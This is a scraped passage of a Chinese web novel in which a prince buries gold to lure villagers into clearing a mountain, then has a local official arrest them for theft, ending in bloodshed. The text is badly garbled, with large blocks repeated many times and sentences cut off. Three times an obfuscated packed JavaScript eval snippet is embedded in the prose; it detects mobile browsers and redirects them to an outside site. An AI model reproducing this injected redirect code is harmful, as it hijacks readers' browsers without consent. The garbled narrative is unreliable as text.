当“岭山北面有黄金”的消息一经传出,莽村几乎是全体出动,男女老少几百人拿着锄头,斧头呼呼啦啦地上山。 一开始众人只是漫无目的的乱挖,后来也不知道是谁说的,说大树下面的黄金多,众人就要开始了哄抢。 好几次因为不同人家的村民为了争抢一棵树而大打出手。 因为人多,树木就那些,砍倒一颗少一颗。 挖树的村民见土层下面树根盘旋,用斧子乱砍一通,越挖越深,挖着挖着大树就倒了。 “呼!!”大树倾塌,砸到一片小树。 别说,还有**在大树下面挖到了黄金,虽然数量不多,但足以振奋人心。 尤其是虎子家的婆娘。 因为虎子有经验,专挑那粗壮的大树挖,果然收获不菲。 这时,大海他们也跑上了山。 他们挖了一宿,刚准备回家睡一觉就听见自己家婆娘摇晃自己,什么村里人都上山挖金子了。 在大海眼中,这金子可都是他的! 别人挖走怎么行?当即就带人赶了过来。 可眼前的一幕直接就把他吓傻了,因为村里所有人都要刨地!场面十分壮观。 “别挖了!没有金子!!” “别他妈挖了!” 谁听他的呀?别说你一个村长打手,就是村长来了,也抵挡不住他们挖金子的热情。 大海见吼两嗓子没用,于是就在人群里寻找,最终他看到虎子的身影。 这哥们撅个**正一下一下砍断大树的树根。 他跑过去,气得一脚踹在他屁股上。 “噗通。”虎子摔倒在地。 婆娘见状赶紧把他扶起来。 大海破口大骂:“虎子,我曹尼玛!不是告诉你不能说出去吗?这是怎么回事!” “海哥,不是我说的啊!” “那村民怎么都来了!” “我也不知道啊,我是看他们来,怕金子都被挖完了所以才来的!” 大海气得又回头骂了一句:“妈的!都给老子住手!” 根本没人听。 这个节骨眼也不能用暴力阻止,否则肯定会引起哗变。 当下只有请村正来了,不过瞧这样子,即便是郝霸王亲自 来也没有办法。 “我挖到了!” “真的?” “我的天呐,这么大一块!这得有五两了吧?” “你在哪挖到?” 大海见一个村民手里高高举起一大块金子,眼珠子都红了。 这他妈可都是我的金子啊!! 大海一挥手带人走过去,怒气冲冲地道:“把金子给老子放下!” “干什么?” “放下!!”大海已经把手里的**举起来了。 那挖到金子的村民也知道大海的名号,当下有些害怕。 可站在他身边的婆娘吼道:“干什么!要金子自己去挖,你还想抢我们的不成!” “这本来就是我的金子!” “放屁,这哪里写你名字呢?这是莽村的岭山,岭山上的任何东西,都是属于我们大家的!” “你敢骂我!”大海气的都不行了,扬起手就狠狠抽了他婆娘一个大嘴巴。 “啪!” “啊!” 婆娘被一巴掌抽倒在地上,他男人见状连忙把她扶起来:“你怎么**啊!” “打的就是你!” “你!你太欺负人了!”男人攥紧双拳,可还是没有敢和大海硬拼的勇气。 大海伸出手:“把金子给我!” “不给,有种你打死我!” “我真是给你脸了!”说完大海一脚踹在那男人脸上。 “砰!” “啊!!” “当家的!!”婆娘见状一声哭嚎,“快来人呐!**啦!” 周围村民都被这惊天地泣鬼神的一声哭喊吸引,纷纷看过来。 见大海正一下一下地殴打另外一个村民,当即有人站出来。 “大海,你干什么呢!你要金子就一起挖,没有说不让你挖!” 大海红着眼睛回骂:“挖?这他妈本来就是老子发现的,你们凭什么挖?” “岭山本来就是大家的地盘,哪有什么你的我的?” “就是啊,这岭山又不是你一个人的!” “凭啥你可以挖,我们就不能挖啊?” “是不是村正让你保守秘密的?他自己一个人发财,也不想着我们乡亲们!” 这话就是阿杰说的。 他混在人群中,专门扇阴风点鬼火。 大海见村民义愤填膺,也不敢再殴打,可就这么放弃岭山的黄金他又舍不得。 正在左右为难之际,郝霸王来了。 “都住手!!”郝霸王怒吼一声,立刻有打手跑过去将大海拉走,同时站在村民的对立面。 郝霸王向来是护短的,否则也不会把莽村建立得这么团结。 他走几步来到群众面前,高声质问:“谁让你们来这里挖金子的?是谁?” 阿杰在人群后面喊道:“村正,你别管是谁!你就说这是不是有黄金!” “对,村正,这里这么多黄金,你把地圈起来不让我们进,到底是何用意?” “是不是就想自己独占?” “当年你当村正的时候,说好的有福同享有难同当呢?” “你是不是变心了!” 村民七嘴八舌地讨伐郝霸王,后者也分不清谁说的是什么话,只能囫囵地扫一遍。 最后说道:“乡亲们,这山上根本就没有黄金!这是那乾国世子骗你们的,他就是想让你们帮忙砍树!” “胡说八道!人家柱子哥刚挖出来一大块黄金,你的手下就要来抢!” “就是,你看看,柱子哥都让你手下打得不省人事了!” “这事儿你怎么解释!” “我也挖到黄金了!” “这漫山遍野都是黄金,你却说没有,你是何居心!” 郝霸王看着地上那块硕大的金块。 虽然颜色不纯,但确确实实是真的黄金! 他心里明白,这就是林臻的计谋,但眼下村民已经被蛊惑了,根本就说不听。 “乡亲们,我郝某人发誓,这里绝对没有黄金!那些黄金都是林臻挖坑埋进去的!” “放屁,谁闲着没事干往土地埋金子?” “就是,你还特意把地圈起来,不许任何人进来,肯定就是想独吞!” “你若识相就离开这,否则别怪我们不认你这个村正!” “都住手!!”郝霸王怒吼一声,立刻有打手跑过去将大海拉走,同时站在村民的对立面。 郝霸王向来是护短的,否则也不会把莽村建立得这么团结。 他走几步来到群众面前,高声质问:“谁让你们来这里挖金子的?是谁?” 阿杰在人群后面喊道:“村正,你别管是谁!你就说这是不是有黄金!” “对,村正,这里这么多黄金,你把地圈起来不让我们进,到底是何用意?” “是不是就想自己独占?” “当年你当村正的时候,说好的有福同享有难同当呢?” “你是不是变心了!” 村民七嘴八舌地讨伐郝霸王,后者也分不清谁说的是什么话,只能囫囵地扫一遍。 最后说道:“乡亲们,这山上根本就没有黄金!这是那乾国世子骗你们的,他就是想让你们帮忙砍树!” “胡说八道!人家柱子哥刚挖出来一大块黄金,你的手下就要来抢!” “就是,你看看,柱子哥都让你手下打得不省人事了!” “这事儿你怎么解释!” “我也挖到黄金了!” “这漫山遍野都是黄金,你却说没有,你是何居心!” 郝霸王看着地上那块硕大的金块。 虽然颜色不纯,但确确实实是真的黄金! 他心里明白,这就是林臻的计谋,但眼下村民已经被蛊惑了,根本就说不听。 “乡亲们,我郝某人发誓,这里绝对没有黄金!那些黄金都是林臻挖坑埋进去的!” “放屁,谁闲着没事干往土地埋金子?” “就是,你还特意把地圈起来,不许任何人进来,肯定就是想独吞!” “你若识相就离开这,否则别怪我们不认你这个村正!” “都住手!!”郝霸王怒吼一声,立刻有打手跑过去将大海拉走,同时站在村民的对立面。 郝霸王向来是护短的,否则也不会把莽村建立得这么团结。 他走几步来到群众面前,高声质问:“谁让你们来这里挖金子的?是谁?” 阿杰在人群后面喊道:“村正,你别管是谁!你就说这是不是有黄金!” “对,村正,这里这么多黄金,你把地圈起来不让我们进,到底是何用意?” “是不是就想自己独占?” “当年你当村正的时候,说好的有福同享有难同当呢?” “你是不是变心了!” 村民七嘴八舌地讨伐郝霸王,后者也分不清谁说的是什么话,只能囫囵地扫一遍。 最后说道:“乡亲们,这山上根本就没有黄金!这是那乾国世子骗你们的,他就是想让你们帮忙砍树!” “胡说八道!人家柱子哥刚挖出来一大块黄金,你的手下就要来抢!” “就是,你看看,柱子哥都让你手下打得不省人事了!” “这事儿你怎么解释!” “我也挖到黄金了!” “这漫山遍野都是黄金,你却说没有,你是何居心!” 郝霸王看着地上那块硕大的金块。 虽然颜色不纯,但确确实实是真的黄金! 他心里明白,这就是林臻的计谋,但眼下村民已经被蛊惑了,根本就说不听。 “乡亲们,我郝某人发誓,这里绝对没有黄金!那些黄金都是林臻挖坑埋进去的!” “放屁,谁闲着没事干往土地埋金子?” “就是,你还特意把地圈起来,不许任何人进来,肯定就是想独吞!” “你若识相就离开这,否则别怪我们不认你这个村正!” “都住手!!”郝霸王怒吼一声,立刻有打手跑过去将大海拉走,同时站在村民的对立面。 郝霸王向来是护短的,否则也不会把莽村建立得这么团结。 他走几步来到群众面前,高声质问:“谁让你们来这里挖金子的?是谁?” 阿杰在人群后面喊道:“村正,你别管是谁!你就说这是不是有黄金!” “对,村正,这里这么多黄金,你把地圈起来不让我们进,到底是何用意?” “是不是就想自己独占?” “当年你当村正的时候,说好的有福同享有难同当呢?” “你是不是变心了!” 村民七嘴八舌地讨伐郝霸王,后者也分不清谁说的是什么话,只能囫囵地扫一遍。 最后说道:“乡亲们,这山上根本就没有黄金!这是那乾国世子骗你们的,他就是想让你们帮忙砍树!” “胡说八道!人家柱子哥刚挖出来一大块黄金,你的手下就要来抢!” “就是,你看看,柱子哥都让你手下打得不省人事了!” “这事儿你怎么解释!” “我也挖到黄金了!” “这漫山遍野都是黄金,你却说没有,你是何居心!” 郝霸王看着地上那块硕大的金块。 虽然颜色不纯,但确确实实是真的黄金! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453516|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他心里明白,这就是林臻的计谋,但眼下村民已经被蛊惑了,根本就说不听。 “乡亲们,我郝某人发誓,这里绝对没有黄金!那些黄金都是林臻挖坑埋进去的!” “放屁,谁闲着没事干往土地埋金子?” “就是,你还特意把地圈起来,不许任何人进来,肯定就是想独吞!” “你若识相就离开这,否则别怪我们不认你这个村正!” “都住手!!”郝霸王怒吼一声,立刻有打手跑过去将大海拉走,同时站在村民的对立面。 郝霸王向来是护短的,否则也不会把莽村建立得这么团结。 他走几步来到群众面前,高声质问:“谁让你们来这里挖金子的?是谁?” 阿杰在人群后面喊道:“村正,你别管是谁!你就说这是不是有黄金!” “对,村正,这里这么多黄金,你把地圈起来不让我们进,到底是何用意?” “是不是就想自己独占?” “当年你当村正的时候,说好的有福同享有难同当呢?” “你是不是变心了!” 村民七嘴八舌地讨伐郝霸王,后者也分不清谁说的是什么话,只能囫囵地扫一遍。 最后说道:“乡亲们,这山上根本就没有黄金!这是那乾国世子骗你们的,他就是想让你们帮忙砍树!” “胡说八道!人家柱子哥刚挖出来一大块黄金,你的手下就要来抢!” “就是,你看看,柱子哥都让你手下打得不省人事了!” “这事儿你怎么解释!” “我也挖到黄金了!” “这漫山遍野都是黄金,你却说没有,你是何居心!” 郝霸王看着地上那块硕大的金块。 虽然颜色不纯,但确确实实是真的黄金! 他心里明白,这就是林臻的计谋,但眼下村民已经被蛊惑了,根本就说不听。 “乡亲们,我郝某人发誓,这里绝对没有黄金!那些黄金都是林臻挖坑埋进去的!” “放屁,谁闲着没事干往土地埋金子?” “就是,你还特意把地圈起来,不许任何人进来,肯定就是想独吞!” “你若识相就离开这,否则别怪我们不认你这个村正!” “都住手!!”郝霸王怒吼一声,立刻有打手跑过去将大海拉走,同时站在村民的对立面。 郝霸王向来是护短的,否则也不会把莽村建立得这么团结。 他走几步来到群众面前,高声质问:“谁让你们来这里挖金子的?是谁?” 阿杰在人群后面喊道:“村正,你别管是谁!你就说这是不是有黄金!” “对,村正,这里这么多黄金,你把地圈起来不让我们进,到底是何用意?” “是不是就想自己独占?” “当年你当村正的时候,说好的有福同享有难同当呢?” “你是不是变心了!” 村民七嘴八舌地讨伐郝霸王,后者也分不清谁说的是什么话,只能囫囵地扫一遍。 最后说道:“乡亲们,这山上根本就没有黄金!这是那乾国世子骗你们的,他就是想让你们帮忙砍树!” “胡说八道!人家柱子哥刚挖出来一大块黄金,你的手下就要来抢!” “就是,你看看,柱子哥都让你手下打得不省人事了!” “这事儿你怎么解释!” “我也挖到黄金了!” “这漫山遍野都是黄金,你却说没有,你是何居心!” 郝霸王看着地上那块硕大的金块。 虽然颜色不纯,但确确实实是真的黄金! 他心里明白,这就是林臻的计谋,但眼下村民已经被蛊惑了,根本就说不听。 “乡亲们,我郝某人发誓,这里绝对没有黄金!那些黄金都是林臻挖坑埋进去的!” “放屁,谁闲着没事干往土地埋金子?” “就是,你还特意把地圈起来,不许任何人进来,肯定就是想独吞!” “你若识相就离开这,否则别怪我们不认你这个村正!” “都住手!!”郝霸王怒吼一声,立刻有打手跑过去将大海拉走,同时站在村民的对立面。 郝霸王向来是护短的,否则也不会把莽村建立得这么团结。 他走几步来到群众面前,高声质问:“谁让你们来这里挖金子的?是谁?” 阿杰在人群后面喊道:“村正,你别管是谁!你就说这是不是有黄金!” “对,村正,这里这么多黄金,你把地圈起来不让我们进,到底是何用意?” “是不是就想自己独占?” “当年你当村正的时候,说好的有福同享有难同当呢?” “你是不是变心了!” 村民七嘴八舌地讨伐郝霸王,后者也分不清谁说的是什么话,只能囫囵地扫一遍。 最后说道:“乡亲们,这山上根本就没有黄金!这是那乾国世子骗你们的,他就是想让你们帮忙砍树!” “胡说八道!人家柱子哥刚挖出来一大块黄金,你的手下就要来抢!” “就是,你看看,柱子哥都让你手下打得不省人事了!” “这事儿你怎么解释!” “我也挖到黄金了!” “这漫山遍野都是黄金,你却说没有,你是何居心!” 郝霸王看着地上那块硕大的金块。 虽然颜色不纯,但确确实实是真的黄金! 他心里明白,这就是林臻的计谋,但眼下村民已经被蛊惑了,根本就说不听。 “乡亲们,我郝某人发誓,这里绝对没有黄金!那些黄金都是林臻挖坑埋进去的!” “放屁,谁闲着没事干往土地埋金子?” “就是,你还特意把地圈起来,不许任何人进来,肯定就是想独吞!” “你若识相就离开这,否则别怪我们不认你这个村正!” 第466章 这可能就是莽村的命吧。 郝霸王气得不行,蛇头杖直往地上乱杵:“放肆!你们竟敢这样和我说话!你们忘了是谁让你们过上好日子的! “现在是你阻拦我们,不让我们过好日子! “就是,这么多金子,难道都便宜你不成!? “我们就是要挖金子,你别多管闲事! 村民们义愤填膺,显然已经不把这个昔日对他们还不错的村正放在眼里了。 黄金的魅力是无穷的,足以湮灭人性。 郝霸王又急又气,一方面他知道这是林臻的诡计,但是却没办法反抗;另一方面他真的十分痛恨村民的愚昧无知。 如果按这个进度挖下去,岭山的所有树用不了多久就会被全部砍倒。 光秃秃的山不仅不好看,还会大大方便林臻。 可是就算都明白了又能怎么样呢?这就是来自林臻的阳谋。 人家大大方方把黄金埋下去等着村民来挖,而村民看见黄金就不管不顾,这几乎就是个死局。 郝霸王看向一旁的大海,表情充斥着阴霾:“大海,你是不是知道什么? “我村正,我也是才知道这件事情啊。 “胡说八道!刚才被大海一顿殴打的柱子满脸是血的走过来,指着大海说道,“就是你拉着胡子他们上山挖黄金的,你为什么不敢承认! “你不要血口喷人! “你问问乡亲们,是不是听说了虎子家挖出黄金所以才都过来的!你们想独吞这里的黄金,门也没有! “够了! 他哀叹一声。 这可能就是莽村的命吧。 林臻对岭山铁矿的开发,已经无法阻挡了。 可惜这座山清水秀的大山。 “唉,罢了,你们想挖就是挖吧,到时候若吃了亏,可别说老夫没有提醒你们。 说完郝霸王便拄着蛇头杖,一步一晃地离开。 但是他万万没想到,林臻这么做的目的可不仅仅是想开发岭山铁矿,他还要好好惩治下莽村的村民。 村民的热情一天比一天高涨。 不是因为挖到了黄金,而是因为别人总能挖到,而自己挖不到。 越是这样,就越是不甘心。 于是村民们连地都不犁了,全家老少纷纷涌上岭山挖宝。 三天后,岭山北面几乎所有的大树都被放倒。为了方便挖宝,他们还组织人手把树木运走,然后大面积开挖。 然而 不出意外,金子越来越少,以至于五天后再也没有人挖到金子。 郝霸王亲眼看着村民兴高采烈的上山,又灰头土脸地回来,心里很不是滋味。 但他也没有办法,村民就好像被什么东西附体了一样,不挖到金子不罢休。 而且从今天开始,已经有人在岭山南面下铲子了。 几天的光景,一座小山就被挖成了地中海。但这还不是最恐怖的。 最恐怖的是,今天有韩国朝廷派遣的官兵到来。 虎贲营营帐。 所有虎贲营士兵严阵以待地目送韩国兵丁进入莽村。 胖子扯着大嗓门问:“大哥,你把那群当兵的喊来干什么? 林臻披着大氅,负手而立,目光望着莽村方向。 “我当然不允许村民把我的金子拿走。 “什么意思?那金子不是你让小猴子去埋的吗? “别胡说八道,你有什么证据证明是我让猴子埋的?分明是他们偷我的。 “不是. “昨天我去找了博望县县丞。因为哈德门刺杀韩雷的案子侦破,他官升三级,下个月出任南阳郡别驾。他很感激我,听说我的金子被莽村的村民偷走,立刻派兵过来帮忙。 “啥玩意?? 胖子、侯春,浣碧等人等到这句话都懵了。 林臻这心也太黑了吧?居然说金子是被偷走的!这不是要在莽村那些村民的命吗? 林臻冷笑道:“呵。这帮人敢挡我的财路,那自然就要付出代价。我的钱,是那么好花的?我要让他们知道,他们不仅拿不到金子,还得给我免费打工三年来还债。 博望县县丞虞仕也算个悲催的家伙,在韩家手底下打工一直都没有出头之日。这次韩雷**身亡,韩家大发雷霆,强迫他迅速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462199|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破案。 可谁知道他居然两天就破案了。 这事情传到皇帝韩天鸿耳朵里,认为他是个有能力的官员,于是破格提拔。 这一切还要归功于林臻,所以他对林臻很是感激。 昨天听闻恩人的钱财被偷,他盛怒之下立刻命令博望县兵马司、以及城外驻军全体出动,务必要将破坏两国和平的犯罪分子一网打尽。 此时,虞仕带领的军队已经抵达莽村门口。 守村人看见这阵势,也不敢无礼,立刻抱拳道:“不知道县令大人亲临,有失远迎。 虞仕看见莽村 的人就烦。 当年他在这调研的时候可是碰了一鼻子灰。 所以他对莽村的讨厌,丝毫不比林臻差。 “少废话,叫你们村正出来。” “是,大人稍后。” 守村人跑进去,很快,郝霸王撑着蛇头杖走了出来,边走边满脸笑意地拱手。 “哈哈哈,听说县令大人高升,恭喜恭喜。” “恭喜?呵呵呵呵,确实应该恭喜啊。”说完虞仕一挥手。 立刻有兵丁冲过去将郝霸王控制起来。 “诶诶诶,大人,我们也算故交,您这是做什么啊?” “本官听闻莽村有人行**之事,偷取乾国世子黄金不计其数,所以今天派人来调查。”虞仕看向后方,“立刻进村,将所有村民集合!任何反抗者,格杀勿论!” “是!” “不要!!”郝霸王挣扎着大喊,“大人!我不知道是谁告诉您莽村偷窃的,但这绝对是污蔑!我们莽村的人从来不都偷窃啊!!” “呵,是不是偷窃,只要本官一查便知。”虞仕根本不理他。 当年他希望可以搜集莽村的线索,将其正式收编。 如果能办到也算他的政绩。 可是这个郝霸王非但不配合,还言语辱骂,最终让虞仕十八年间只能在博望县当个副县长。 十八年啊。 跟他同批的举人都已经进了省级单位,只有他还在原地徘徊。 他怎能不很? 第467章 应该是恭喜虞别驾 莽村彻底乱套了。 上千兵丁手持大刀长钺,强弓劲**,冲进层层围挡的村子里。 “所有人都出来!” “都去村口集合,别等我们动武!!” 兵丁挨家挨户敲门。 有的人家不敢开门,他们就一脚踹进去,也不管村民在家里干什么,伸手就去抓。 男人还好些,有些村姑在强拉硬拽中衣衫不整,领口大开,哭天抹泪地大喊。 “不要啊!你们干什么!!” “我们又没犯法,抓我们干什么啊!!” “当家的,当家的!!” 好在这些人都是自己国家的兵丁,不是敌国的,下手虽然暴力了些,但还不至于越界。 若是敌国士兵,此刻恐怕已经有无数悲剧上演。 “少废话,全部都去村口集合!” “你们到底要干什么啊!” “干什么?你们自己干什么了心里没点逼数?” 村民们哪知道自己干什么了?在不明白的情况下纷纷从家里出来,被兵丁押着往村口走。 同时另有兵丁冲进他们家里一通乱翻。 这可不是**,而是找赃物。 很快,村民全部来到村口。 大家看到郝霸王也规规矩矩地蹲在地上,立刻就不敢说什么了。 他们明白,如果郝霸王都被收拾了,那肯定就是出大事了。 因为以前不管是什么事情,莽村从来没有兵丁闯进来过。如果有人要硬闯,郝霸王会组织抵抗。 而今天却一点风声都没收到,可见上头是动了真格的。 大海双手抱头蹲在地上,往郝霸王这边凑了凑,说道:“村正,这是出什么事儿了?” “**还好意思问,还不是因为金子!!我告诉你们别去挖别去挖,偏不听,现在好了,官府来查办,说你们偷窃!” “什么!?那金子可都是我们挖出来的!怎么能是偷窃呢?” “哼,这话你跟虞仕去说吧!”郝霸王没好气地别过头。 他知道,从今天开始。 莽村的团结将彻底不复存在,而他再也不能帮助村民做什么了。 虞仕站在村口的栅栏边上,像是在迎接什么人。 见到有队伍徐徐而来,他整理下衣衫,正了正官帽,快步走上前去。 “世子,哈哈哈哈。”虞仕很殷勤地走过去和林臻作揖,笑道:“本官治下无方啊,属地居然出现**之事,实在是没有面子,让 您见笑了。” 虞仕笑得很和蔼——至少在林臻看来。 其实像这样的官员是最需要被认可的,只要有一点恩惠,他就会死命报答。 如果可以,林臻真想和他多些交流。 因为对于大乾来说,韩国是迟早要进攻的,也是必须要攻下来的,到时候这个虞仕就能委以重任。 想通这点,林臻也笑着回应:“虞大人言重了,哪个国家还没有几个坏人,只是我们身为朝廷命官,当心系百姓,绝不能放过这些害群之马,要还天下朗朗乾坤。” “世子所言极是。你放心,您丢失的金子本官已经派人去搜了,如果搜到,他们一个都别想跑!” “哈哈哈,那就有劳虞县令哦不,应该是恭喜虞别驾。” “哈哈哈哈哈。” 两人相视一笑,心照不宣。 谁知有村民听到两人的对话,立刻喊道:“大人!金子不是我们偷的,那是我们从山上挖来的啊!!” 虞仕冷哼道:“胡说!你们莽村有几斤几两本官还不知道?去山上挖金子,这样的借口亏你想得出来!” “大人,小人说的是实话啊!我们的金子都是从岭山北面挖出来的!我们没有偷窃啊!!” “住口!是非对错等下自有定论,不得在此胡言!” 虞仕根本就不相信山上能挖出来金子这件事情,但同时他也对林臻丢了金子这件事情抱有怀疑。 但他之所以愿意卖林臻个人情,主要还是因为林臻帮了他。 而且莽村的名声在朝廷中也非常不好,尤其是对韩天鸿这样的皇帝而言。 但凡有不听他旨意的村子,都是国中之国,都是对皇权的蔑视。 可偏偏人家又老实本分,不招惹任何人,久而久之韩天鸿也就忘记了这件事情。 毕竟是皇帝,不可能对村子里发生的事情事无巨细地调查。 但是在他内心中,早就想把莽村铲除掉了。 虞仕今天的所作所为除了还林臻一个人情外,其中也有这方面的考虑。 很快,村民悉数到齐,几百人蹲在村门口,场面很是壮观。 兵丁也一个接一个地回来,手里拿着各种包袱,最后叮叮当当全部堆在虞仕和林臻面前。 有些包袱散落开,露出里面金灿灿的黄金。 林臻走过去,随手打开一个包袱,从里面拿出金块。 目光在上面仔仔细细地打量,最后对虞仕说道:“没事,这就是我的金子。你看,上面还有没融化 彻底的大乾字样。” 林臻让侯春去融金子的时候特意说的,有些金子要融进沙子里,有些金子要留下标记。 果然,这块就留下来了。 虞仕看后,脸色凝重地点点头,转身对村民们说道:“你们真是好大的胆子!竟敢偷窃乾国世子的黄金,你们可知道这是什么罪吗?按照我大韩律法,偷窃不仅要打五十大板,还要充军,贬为奴籍!而偷窃他国人财物者,砍手!” 听说要砍手,村民们都慌了。 “大人!我们的黄金真不是偷来的,而是在山上挖的!” “是啊大人,你看那岭山,都已经被我们挖得光秃秃的了,真是挖来的!” “大人明察啊!!” “住口!”虞仕喊道:“难道你们认为乾国世子会闲着无聊把自己的黄金埋在岭山上让你们挖吗?你们这是为开脱罪责而信口胡诌!若再狡辩,罪加一等!” “啊!” “大人,我们冤枉啊!!” “大人!!” 虞仕根本不听村民的叫喊,直接吼道:“全体都有!把这群**犯带回府衙,全部关押,没有本官的命令任何人不许探视!” “不要啊!!” “狗官!你们官官相护,老子跟你们拼了!!” 彻底的大乾字样。” 林臻让侯春去融金子的时候特意说的,有些金子要融进沙子里,有些金子要留下标记。 果然,这块就留下来了。 虞仕看后,脸色凝重地点点头,转身对村民们说道:“你们真是好大的胆子!竟敢偷窃乾国世子的黄金,你们可知道这是什么罪吗?按照我大韩律法,偷窃不仅要打五十大板,还要充军,贬为奴籍!而偷窃他国人财物者,砍手!” 听说要砍手,村民们都慌了。 “大人!我们的黄金真不是偷来的,而是在山上挖的!” “是啊大人,你看那岭山,都已经被我们挖得光秃秃的了,真是挖来的!” “大人明察啊!!” “住口!”虞仕喊道:“难道你们认为乾国世子会闲着无聊把自己的黄金埋在岭山上让你们挖吗?你们这是为开脱罪责而信口胡诌!若再狡辩,罪加一等!” “啊!” “大人,我们冤枉啊!!” “大人!!” 虞仕根本不听村民的叫喊,直接吼道:“全体都有!把这群**犯带回府衙,全部关押,没有本官的命令任何人不许探视!” “不要啊!!” “狗官!你们官官相护,老子跟你们拼了!!” 彻底的大乾字样。” 林臻让侯春去融金子的时候特意说的,有些金子要融进沙子里,有些金子要留下标记。 果然,这块就留下来了。 虞仕看后,脸色凝重地点点头,转身对村民们说道:“你们真是好大的胆子!竟敢偷窃乾国世子的黄金,你们可知道这是什么罪吗?按照我大韩律法,偷窃不仅要打五十大板,还要充军,贬为奴籍!而偷窃他国人财物者,砍手!” 听说要砍手,村民们都慌了。 “大人!我们的黄金真不是偷来的,而是在山上挖的!” “是啊大人,你看那岭山,都已经被我们挖得光秃秃的了,真是挖来的!” “大人明察啊!!” “住口!”虞仕喊道:“难道你们认为乾国世子会闲着无聊把自己的黄金埋在岭山上让你们挖吗?你们这是为开脱罪责而信口胡诌!若再狡辩,罪加一等!” “啊!” “大人,我们冤枉啊!!” “大人!!” 虞仕根本不听村民的叫喊,直接吼道:“全体都有!把这群**犯带回府衙,全部关押,没有本官的命令任何人不许探视!” “不要啊!!” “狗官!你们官官相护,老子跟你们拼了!!” 彻底的大乾字样。” 林臻让侯春去融金子的时候特意说的,有些金子要融进沙子里,有些金子要留下标记。 果然,这块就留下来了。 虞仕看后,脸色凝重地点点头,转身对村民们说道:“你们真是好大的胆子!竟敢偷窃乾国世子的黄金,你们可知道这是什么罪吗?按照我大韩律法,偷窃不仅要打五十大板,还要充军,贬为奴籍!而偷窃他国人财物者,砍手!” 听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊!” “大人,我们冤枉啊!!” “大人!!” 虞仕根本不听村民的叫喊,直接吼道:“全体都有!把这群**犯带回府衙,全部关押,没有本官的命令任何人不许探视!” “不要啊!!” “狗官!你们官官相护,老子跟你们拼了!!” 彻底的大乾字样。” 林臻让侯春去融金子的时候特意说的,有些金子要融进沙子里,有些金子要留下标记。 果然,这块就留下来了。 虞仕看后,脸色凝重地点点头,转身对村民们说道:“你们真是好大的胆子!竟敢偷窃乾国世子的黄金,你们可知道这是什么罪吗?按照我大韩律法,偷窃不仅要打五十大板,还要充军,贬为奴籍!而偷窃他国人财物者,砍手!” 听说要砍手,村民们都慌了。 “大人!我们的黄金真不是偷来的,而是在山上挖的!” “是啊大人,你看那岭山,都已经被我们挖得光秃秃的了,真是挖来的!” “大人明察啊!!” “住口!”虞仕喊道:“难道你们认为乾国世子会闲着无聊把自己的黄金埋在岭山上让你们挖吗?你们这是为开脱罪责而信口胡诌!若再狡辩,罪加一等!” “啊!” “大人,我们冤枉啊!!” “大人!!” 虞仕根本不听村民的叫喊,直接吼道:“全体都有!把这群**犯带回府衙,全部关押,没有本官的命令任何人不许探视!” “不要啊!!” “狗官!你们官官相护,老子跟你们拼了!!” 彻底的大乾字样。” 林臻让侯春去融金子的时候特意说的,有些金子要融进沙子里,有些金子要留下标记。 果然,这块就留下来了。 虞仕看后,脸色凝重地点点头,转身对村民们说道:“你们真是好大的胆子!竟敢偷窃乾国世子的黄金,你们可知道这是什么罪吗?按照我大韩律法,偷窃不仅要打五十大板,还要充军,贬为奴籍!而偷窃他国人财物者,砍手!” 听说要砍手,村民们都慌了。 “大人!我们的黄金真不是偷来的,而是在山上挖的!” “是啊大人,你看那岭山,都已经被我们挖得光秃秃的了,真是挖来的!” “大人明察啊!!” “住口!”虞仕喊道:“难道你们认为乾国世子会闲着无聊把自己的黄金埋在岭山上让你们挖吗?你们这是为开脱罪责而信口胡诌!若再狡辩,罪加一等!” “啊!” “大人,我们冤枉啊!!” “大人!!” 虞仕根本不听村民的叫喊,直接吼道:“全体都有!把这群**犯带回府衙,全部关押,没有本官的命令任何人不许探视!” “不要啊!!” “狗官!你们官官相护,老子跟你们拼了!!” 第468章 狗官 大海本就不是孬种的性格,当年在村里也是打架大王,很多次官府要做什么事情,都是在郝霸王的指使下第一个冲上去。 现在见林臻等人都要踩在他脑袋顶上了,他血冲脑门,猛地站起来。 “狗官!” 虞仕气得吹胡子瞪眼睛:“你骂本官什么!!” “狗官!你们官官相护,要谋害我们莽村,老子跟你拼了!”说完大海冲过来一把将兵丁的武器夺过来,随即趁那士兵没反应过来,一刀砍在他脖子上。 刀有些钝,这一刀没能砍掉士兵的脖子,但是却砍断了他的动脉。 鲜血顿时喷涌而出,溅了大海一脸。 村民见大海这么勇猛,也都焕发了斗志。 “狗官!” “跟你们拼了!!” “大胆!反抗者格杀勿论!”虞仕可不管你那个。 平常你不犯错,我们确实不能**你。 但你现在拔刀砍军队,这是**!!杀你们都不需要向上汇报。 士兵们见状纷纷开始与村民对拼起来。 场面一度混乱。 林臻为了避免溅身上血,悄悄地往后了几步,随即双手抱肩准备看乐子。 自己国家出现这样的事情是悲哀,但是别的国家出现这样的事情,林臻没有什么心理负担。 几百村民,除却妇孺也有三百壮丁,但是很可惜,战斗刚开始不到五分钟,兵丁就将其全部制服,还死伤了几十人。 “当家的!!” “爹!爹!” “儿砸!!” “不要打了!不要打了啊!!” 